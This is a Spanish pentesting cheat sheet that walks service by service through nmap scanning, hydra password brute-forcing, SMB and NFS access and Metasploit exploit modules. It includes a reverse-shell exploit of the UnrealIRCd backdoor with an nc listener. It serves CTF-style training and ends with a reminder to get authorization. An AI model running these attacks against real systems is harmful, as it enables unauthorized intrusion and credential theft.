l MAC, o “Media Access Control” es el identificador único que las empresas fabricantes de hardware asignan a la tarjeta de red de cada uno de los dispositivos que producen con el fin de que sean inequívocamente identificables en sus accesos a cualquier red (lo que por supuesto incluye a Internet).
Formato: XX:XX:XX:XX:XX:XX (6 grupos hexadecimales)
Partes:
d8:5e:d3 = Apple)Función: Dirección física única de un dispositivo de red
La dirección IP es un conjunto de números que representa a qué punto de Internet está conectado un dispositivo y permite identificarlos en la Red. Las direcciones IP pueden ser privadas o públicas.
Tipos:
IP Pública:
IP Privada:
192.168.1.100)Asignación:
Un puerto (port) es un número que identifica un proceso o servicio específico que está escuchando en una red.
Los servicios son aplicaciones que proveen funcionalidades en una red, como la navegación web o el envío de correo electrónico
Rango total: 0 a 65535
Puertos comunes:
21 (FTP)22 (SSH)80 (HTTP)443 (HTTPS)445 (SMB)3306 (MySQL)Función: Identifican servicios específicos en un dispositivo
Comando:
Script: <- Realizamos un escaneo de Hosts.
sudo netdiscover -r 192.168.0.0/24
Comando:
Script: <- Realizamos un escaneo de Hosts.
sudo arp-scan -l
Comando:
Script: <- Realizamos un escaneo de Hosts mediante ICMP.
sudo nmap -sn -PE <IP privada>/<Subnet>
Comando:
Script: <- Realizamos un escaneo de Hosts mediante ARP.
sudo nmap -sn -PR <IP privada>/<Subnet>
| Parámetro | Descripción | Ejemplo |
|---|---|---|
| -p 0-65535 | Escanea todos los puertos (0-65535) | nmap -p 0-65535 192.168.1.1 |
| –open | Muestra solo puertos abiertos | nmap --open example.com |
| -T5 | Velocidad máxima (5 = muy rápido/intrusivo) | nmap -T5 10.0.0.1 |
| –min-rate=5000 | Envía al menos 5000 paquetes por segundo | nmap --min-rate=5000 192.168.1.5 |
| -A | Escaneo agresivo (incluye -sV, -sC, -O, --traceroute) | nmap -A 192.168.1.1 |
| -sT | Escaneo TCP con Three-Way Handshake (conexión completa) | nmap -sT 192.168.1.1 |
| -sS | Escaneo TCP sigiloso (SYN scan, sin completar conexión) | nmap -sS 10.0.0.1 |
| -sU | Escaneo UDP | nmap -sU 192.168.1.1 |
| -sY | Escaneo SCTP | nmap -sY 10.10.10.1 |
| -Pn | Omite descubrimiento de hosts (no hace ping previo) | nmap -Pn 172.16.0.5 |
| -n | Desactiva resolución DNS (evita consultas DNS) | nmap -n example.org |
| -v | Modo verbose (muestra más detalles durante el escaneo) | nmap -v 192.168.0.10 |
| –stats-every=5s | Muestra estadísticas del escaneo cada 5 segundos | nmap --stats-every=5s scanme.nmap.org |
| -O | Detección de sistema operativo | nmap -O 192.168.0.100 |
| –traceroute | Muestra la ruta de red hasta el objetivo | nmap --traceroute google.com |
Comando:
Script: <- Hacemos un Escaneo con Nmap vía TCP con el Three Way HandShake.
nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -A -sT -Pn -n -v <IP victima>
Comando:
Script: <- Hacemos un Escaneo con Nmap vía TCP sin el Three Way HandShake.
nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -A -sS -Pn -n -v <IP victima>
Comando:
Script: <- Hacemos un Escaneo con Nmap vía UDP.
nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -O --traceroute -sU -Pn -n -v <IP victima>
Comando:
Script: <- Hacemos un Escaneo con Nmap via SCTP.
nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -O --traceroute -sY -Pn -n -v <IP victima>
Comando:
Script: <- Hacemos un Escaneo con Nmap vía TCP con el Three Way HandShake.
nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -A -sT -Pn -n -v <IP victima> -oX nmap_TCP.xml && xsltproc nmap_TCP.xml -o nmap_TCP.html && open nmap_TCP.html &>/dev/null & disown
Comando:
Script: <- Hacemos un Escaneo con Nmap vía TCP sin el Three Way HandShake.
nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -A -sS -Pn -n -v <IP victima> -oX nmap_TCP.xml && xsltproc nmap_TCP.xml -o nmap_TCP.html && open nmap_TCP.html &>/dev/null & disown
Comando:
Script: <- Hacemos un Escaneo con Nmap vía UDP.
nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -O --traceroute -sU -Pn -n -v <IP victima> -oX nmap_UDP.xml && xsltproc nmap_UDP.xml -o nmap_UDP.html && open nmap_UDP.html &>/dev/null & disown
Comando:
Script: <- Hacemos un Escaneo con Nmap via SCTP.
nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -O --traceroute -sY -Pn -n -v <IP victima> -oX nmap_SCTP.xml && xsltproc nmap_SCTP.xml -o nmap_SCTP.html && open nmap_SCTP.html &>/dev/null & disown
FTP (File Transfer Protocol) es un protocolo ampliamente utilizado para la transferencia de archivos en redes. La enumeración del servicio FTP implica recopilar información relevante, como la versión del servidor FTP, la configuración de permisos de archivos, los usuarios y las contraseñas (mediante ataques de fuerza bruta o guessing), entre otros.
Comando:
Script: <- Accedemos al servicio FTP.
ftp <IP victima>
Algunos servicios FTP permiten iniciar sesión como anonymous.
Comando:
Script: <- Accedemos al FTP.
ftp <IP victima>
Luego introducir:
Usuario: anonymous Contraseña: anonymous
Si tenemos un nombre de usuario válido:
Comando:
Script: <- Realizamos un ataque de diccionario al servicio FTP.
hydra -t 64 -l <Usuario> -P /usr/share/wordlists/rockyou.txt -s 21 <IP victima> ftp -I
Una vez que hagamos el escaneo de nmap recuerden que obtendremos la version del servicio.
Comando:
Recuerden que para buscar vulnerabilidades tenemos la pagina: https://www.exploit-db.com/
Si obtenemos un exploit potencial dentro de la pagina exploit.db lo lanzaremos… De lo contrario siempre podemos visitar el Framework Metasploit y buscar un modulo que tenga el servicio y versión del sistema que estemos vulnerando.
Comando:
Script: <- Abrimos Metasploit.
msfdb run
Script: <- Elegimos el modulo que necesitamos.
use exploit/unix/ftp/proftpd_modcopy_exec
Y modificamos los valores correspondientes.
SSH (Secure Shell) es un protocolo de administración remota que permite a los usuarios controlar y modificar sus servidores remotos a través de Internet mediante un mecanismo de autenticación seguro. Como una alternativa más segura al protocolo Telnet, que transmite información sin cifrar, SSH utiliza técnicas criptográficas para garantizar que todas las comunicaciones hacia y desde el servidor remoto estén cifradas.
Comando:
Script: <- Accedemos al servicio SSH.
ssh <Usuario>@<IP victima>
Una vez que hagamos el escaneo de nmap tendremos listo la versión para listar el Codename.
Comando:
Script: <- Hacemos un Escaneo con Nmap vía TCP sin el Three Way HandShake.
nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -A -sS -Pn -n -v <IP victima>
Una vez recopilado entramos a la siguiente pagina o lo buscamos directamente en google.
https://launchpad.net/ubuntu/+series (Lo ideal es buscarlo en el navegador directamente y obtener el enlace de la web… Siempre suele ser el primer enlace)
Comando:
Script: <- Abrimos Metasploit.
msfdb run
Script: <- Elegimos el modulo que necesitamos.
use auxiliary/scanner/ssh/ssh_enumusers
Y modificamos los valores correspondientes.
SSH < 7.7 permite diferencias en los tiempos de respuesta que revelan usuarios válidos.
Comando:
Script: <- Realizamos un ataque de diccionario al servicio SSH.
hydra -t 64 -l <Usuario> -P /usr/share/wordlists/rockyou.txt -s 22 <IP victima> ssh -I
Telnet es el nombre de un protocolo de red que nos permite acceder a otra máquina para manejarla remotamente como si estuviéramos sentados delante de ella.
Comando:
El 23 es el puerto alojado el telnet.
Script: <- Accedemos al servicio Telnet.
telnet <IP victima>
Si tenemos un nombre de usuario válido:
Comando:
Script: <- Realizamos un ataque de diccionario al servicio Telnet.
hydra -t 64 -l <Usuario> -P /usr/share/wordlists/rockyou.txt -s 23 <IP victima> telnet -I
El puerto 25 forma parte del protocolo SMTP (Protocolo de transferencia de correo simple), se encarga del envío de correos electrónicos desde un cliente como Outlook hacia el servidor. Su uso actualmente representa un riesgo debido a problemas de seguridad y la falta de cifrado en las comunicaciones.
Comando:
El 25 es el puerto alojado del SMTP.
Script: <- Accedemos al servicio SMTP.
telnet <IP victima> 25
Comando:
Script: <- Enumeramos usuarios validos del SMTP.
smtp-user-enum -m 64 -U <Diccionario> -t <IP victima>
Si tenemos un nombre de usuario válido:
Comando:
Script: <- Realizamos un ataque de diccionario al servicio SMTP.
hydra -t 64 -l <Usuario> -P /usr/share/wordlists/rockyou.txt -s 25 <IP victima> smtp -I
Los caracteres <> son importantes para que el correo verifique la identidad del correo electrónico personal de cada usuario
Script: <- Especificamos quien envía el correo.
MAIL FROM: <carmelo@gmail.com>
Script: <- Especificamos quien recibirá el correo.
RCPT TO: <antonio@gmail.com>
Script: <- Especificamos que queremos escribir datos dentro del correo.
DATA
Script: <- El Asunto del correo electrónico.
Asunto: Correo de prueba
Script: <- Después le escribimos un mensaje que queramos.
Hola! Esto es un correo de prueba!
Script: <- Enviamos el correo poniendo un punto.
.
Script: <- Quitamos el servicio.
QUIT
El puerto 53 es un puerto específico en el sistema de comunicación de redes conocido como el “Puerto de DNS” (Domain Name System). DNS es el protocolo que traduce los nombres de dominio legibles por humanos en direcciones IP que las computadoras utilizan para identificar y comunicarse entre sí en internet.
Lo primero que tenemos que hacer es resolucionar un Virtual Hosting (Si fuera necesario) para poder transitar peticiones e intercambiar información de datos directamente desde el DNS del Virtual Hosting de la siguiente manera:
Script: <- Realizamos una resolución de Virtual Hosting.
sed -i '2a\<IP victima> <example.com>' /etc/hosts
Si hubieran mas subdominios haríamos el siguiente comando:
Script: <- Realizamos una resolución de Virtual Hosting.
sed -i '2a\<IP victima> <example.com> <example.com>' /etc/hosts
Cuando nosotros contemplemos un Dominio es de vital importancia hacer peticiones al servidor para contemplar si tenemos mas registros DNS y expandir la enumeración para un ataque posterior.
Aquí se os proporciona los comandos mas útiles para enumeración de registros DNS.
Para consultar absolutamente todos los registros usaremos el siguiente comando:
Script: <- Realizamos una petición para ver todos los registros de DNS.
dig @<IP victima> <example.com> all
Realizamos una petición AXFR (Recordemos que esto se considera ataque y nos LISTA toda la información de los comandos siguientes!) con Dig:
Script: <- Realizamos una petición al AXFR con Dig.
dig @<IP victima> <example.com> axfr
Realizamos una petición normal al DNS con Dig:
Script: <- Realizamos una petición normal con Dig.
dig @<IP> <example.com>
Realizamos una petición al TXT con Dig:
Script: <- Realizamos una petición al TXT con Dig.
dig @<IP> <example.com> TXT
Realizamos una petición al NS con Dig:
Script: <- Realizamos una petición al NS con Dig.
dig @<IP> <example.com> ns
Realizamos una petición al MX con Dig:
Script: <- Realizamos una petición al MX con Dig.
dig @<IP> <example.com> mx
Si tenemos dominios válidos entonces podremos usar un ataque de diccionario para encontrar nuevos subdominios de la siguiente manera:
Script: <- Buscamos Subdominios válidos.
ffuf -c -t 200 -r -fc 404 -w <Diccionario> -H "Host: FUZZ.example.com" -u http://example.com
SMB significa Server Message Block, es un protocolo de comunicación de red utilizado para compartir archivos, impresoras y otros recursos entre dispositivos de red. Es un protocolo propietario de Microsoft que se utiliza en sistemas operativos Windows.
Samba, por otro lado, es una implementación libre y de código abierto del protocolo SMB, que se utiliza principalmente en sistemas operativos basados en Unix y Linux. Samba proporciona una manera de compartir archivos y recursos entre dispositivos de red que ejecutan sistemas operativos diferentes, como Windows y Linux.
Usar herramientas como enum4linux, smbclient, o crackmapexec.
Comando:
Script: <- Enumeramos el Servicio SMB/Samba.
enum4linux -a <IP victima>
Script: <- Descubrimos el Dominio de la red.
netexec -t 200 <Protocolo> <IP victima>
Comando:
Script: <- Realizamos un ataque de diccionario al servicio SMB/Samba.
netexec -t 64 <Protocolo> <IP victima> -u <Usuario> -p <Diccionario con passwords> --continue-on-success --ignore-pw-decoding | grep -v 'STATUS_LOGON_FAILURE'
Script: <- Vemos los recursos compartidos de la maquina victima con credenciales.
smbclient -L <IP victima> -N
Comando:
Script: <- Vemos los recursos compartidos de la maquina victima con credenciales.
smbclient -L <IP victima> -U <Usuario>
Comando:
Script: <- Intentamos entrar al recurso compartido vía sesión nula.
smbclient //<IP victima>/<Recurso compartido> -N
Comando:
Script: <- Intentamos entrar al recurso compartido con un usuario valido.
smbclient //<IP victima>/<Recurso compartido> -U <Usuario>
Comando:
Script: <- Abrimos Metasploit.
msfdb run
Script: <- Elegimos el modulo que necesitamos.
use exploit/multi/samba/usermap_script
Y modificamos los valores correspondientes.
Este servicio permite a un usuario en una máquina remota ejecutar comandos en una máquina que ejecutaba el servicio
rexec, generalmente sin requerir autenticación (o con autenticación mínima). Esto lo hacía extremadamente inseguro, ya que era propenso a abusos y a comprometer la seguridad de los sistemas.
El comando rlogin le permite iniciar sesión en un sistema remoto directa o indirectamente. Un inicio de sesión remoto directo se intenta con el nombre de usuario predeterminado, es decir, el nombre de usuario del individuo que está conectado actualmente en el sistema local.
Cabe destacar que necesitamos haber enumerado usuarios validos del sistema previamente.
De lo contrario… El nombre que testearemos para la intrusión será: root
Comando:
Script: <- Nos conectamos al servicio Rexec.
rlogin -l <Usuario> <IP victima> -p 513
El servicio 1099 Java RMI es el puerto por defecto utilizado por el Registro de Objetos Remotos (Remote Object Registry) en Java RMI (Remote Method Invocation). Java RMI es una tecnología que permite a objetos Java en diferentes máquinas comunicarse entre sí, invocando métodos remotos.
El Registro de Objetos Remotos es un servicio que actúa como un directorio donde los objetos remotos se registran con un nombre único para que los clientes puedan buscarlos y obtener referencias a ellos. Esto permite que los clientes encuentren y se comuniquen con los objetos remotos en el servidor.
Metasploit:
Script: <- Abrimos Metasploit.
msfdb run
Script: <- Elegimos el modulo que necesitamos.
use exploit/multi/misc/java_rmi_server
Ingreslock es un componente del sistema de gestión de bases de datos Ingres, desarrollado por Computer Associates International, Inc. (CA Technologies). Ingreslock se utiliza para proporcionar bloqueo de registros a nivel de base de datos para garantizar la integridad y consistencia de los datos en entornos multiusuario.
Comando:
Script: <- Accedemos al servicio Ingreslock.
telnet <IP victima> <Puerto>
Network File System, o NFS, es un protocolo de nivel de aplicación, según el Modelo OSI. Es utilizado para sistemas de archivos distribuido en un entorno de red de computadoras de área local. Posibilita que distintos sistemas conectados a una misma red accedan a ficheros remotos como si se tratara de locales.
Script: <- Vemos si la victima tiene una montura disponible para extraer.
showmount -e <IP victima>
Script: <- Creamos un directorio donde montaremos los directorios y archivos montados de la maquina victima.
mkdir -p /mnt/<Nombre que queramos>
Script: <- Montamos los directorios y archivos montados de la maquina victima.
mount <IP victima>:/ /mnt/<Directorio creado>
Una vez tengamos todo montado en nuestro sistema simplemente tenemos que ingresar a donde hayamos montado los recursos
Script: <- Nos dirigimos al directorio donde hayamos montado todo el directorio montado de la maquina victima.
cd /mnt/<Directorio creado>
MySQL es un sistema de gestión de bases de datos relacionales (RDBMS) de código abierto. Se utiliza para almacenar y administrar datos en tablas, filas y columnas
Comando:
Script: <- Accedemos al servicio MYSQL.
mysql --skip-ssl -h <IP victima> -u <Usuario> -p
Script: <- Contemplamos todas las bases de datos existentes.
show databases;
Script: <- Entramos a la base de datos que elijamos.
use <Base de datos>;
Script: <- Contemplamos todas las tablas existentes.
show tables;
Script: <- Contemplamos todas las columnas existentes en la tabla que elijamos.
describe <Tabla>;
Script: <- Seleccionamos que datos queremos ver de las columnas que elijamos.
select <Columna>,<Columna> from <Tabla>;
Script: <- Seleccionamos que datos queremos ver de las columnas que elijamos de forma especificada.
select <Columna>,<Columna> from <Tabla> where <Descripcion>='<Descripcion>';
Script: <- Seleccionamos todos los datos de una columna
select * from <Tabla>;
Usar herramientas como nmap.
Nmap:
Script: <- Enumeramos usuarios vía Nmap.
nmap -p 3306 --script=mysql-enum <IP victima>
Comando:
Script: <- Realizamos un ataque de Diccionario.
hydra -l <Usuario> -P /usr/share/wordlists/rockyou.txt -s 3306 <IP victima> mysql -I
Metasploit:
Script: <- Abrimos Metasploit.
msfdb run
Script: <- Elegimos el modulo que necesitamos.
use auxiliary/scanner/mysql/mysql_hashdump
Y modificamos los valores correspondientes.
PostgreSQL, también llamado Postgres, es un sistema de gestión de bases de datos relacional orientado a objetos y de código abierto, publicado bajo la licencia PostgreSQL.
Comando:
Script: <- Accedemos al servicio PostGreSQL.
psql "host=<IP victima> port=5432 user=<Usuario> sslmode=disable"
Script: <- Listar todas las bases de datos.
\l
Script: <- Acceder o cambiar una base de datos.
\c <Base de datos>;
Script: <- Listar todas las tablas.
\d
Script: <- Describa una tabla específica.
\d <Tabla>;
Script: <- Contemplamos los Datos de la columna que elijamos de la tabla.
select * from <Columna>;
Metasploit:
Script: <- Abrimos Metasploit.
msfdb run
Script: <- Elegimos el modulo que necesitamos.
use auxiliary/scanner/postgres/postgres_login
Y modificamos los valores correspondientes.
Comando:
Script: <- Realizamos un ataque de diccionario al servicio PostGreSQL.
hydra -l <Usuario> -P /usr/share/wordlists/rockyou.txt -s 5432 <IP victima> postgres -I
VNC son las siglas en inglés de Virtual Network Computing. VNC es un programa de software libre basado en una estructura cliente-servidor que permite observar las acciones del ordenador servidor remotamente a través de un ordenador cliente.
Metasploit:
Script: <- Abrimos Metasploit.
msfdb run
Script: <- Elegimos el modulo que necesitamos.
use auxiliary/scanner/vnc/vnc_login
Y modificamos los valores correspondientes.
Script: <- Nos conectamos a VNC sin proporcionar llave.
vncviewer <IP victima>:5900
Script: <- Nos conectamos a VNC mediante llave.
vncviewer <IP victima>:5900 -passwd <Archivo de la llave de autorizacion>
UnrealIRCd es un popular servidor de Internet Relay Chat (IRC) de código abierto. Proporciona una plataforma para que los usuarios se conecten y se comuniquen en tiempo real a través de canales de chat en línea. IRC ha sido una forma común de comunicación en línea desde la década de 1980 y todavía se utiliza ampliamente en la actualidad, especialmente en comunidades de software libre y de código abierto, así como en comunidades de juegos en línea.
Una vez que hagamos el escaneo de nmap recuerden que obtendremos la version del servicio.
Comando:
Script: <- Hacemos un Escaneo con Nmap vía TCP sin el Three Way HandShake.
nmap --stats-every=5s -p 0-65535 --open --min-rate=5000 -T5 -A -sS -Pn -n -v <IP victima>
Recuerden que para buscar vulnerabilidades tenemos la pagina: https://www.exploit-db.com/
Si obtenemos un exploit potencial dentro de la pagina exploit.db lo lanzaremos… De lo contrario siempre podemos visitar el Framework Metasploit y buscar un modulo que tenga el servicio y versión del sistema que estemos vulnerando.
Comando
Script: <- Descargamos el repositorio.
git clone https://github.com/chancej715/UnrealIRCd-3.2.8.1-Backdoor-Command-Execution.git
Script: <- Accedemos al repositorio.
cd UnrealIRCd-3.2.8.1-Backdoor-Command-Execution
Script: <- Lanzamos el ataque: (Tarda un poco en establecerse la conexión)
python3 script.py <IP victima> <Puerto> <IP atacante> <Puerto>
Recordamos crear el puerto de escucha antes de lanzar el exploit para poder tener la conexión inversa.
Script: <- Creamos un puerto de escucha.
nc -nlvp <Puerto>
Metasploit:
Script: <- Abrimos Metasploit.
msfdb run
Script: <- Elegimos el modulo que necesitamos.
use exploit/unix/irc/unreal_ircd_3281_backdoor
Y modificamos los valores correspondientes.
Siempre valida legalmente tu autorización antes de realizar estas pruebas.
Usa diccionarios personalizados si sabes datos del entorno.
Nunca ejecutes exploits en producción sin un entorno controlado.
Documenta todo: IPs, usuarios válidos, resultados de escaneos.
Practica diariamente tus habilidades de Pentesting con maquinas CTF.
Utiliza los diferentes navegadores para investigar nuevos servicios.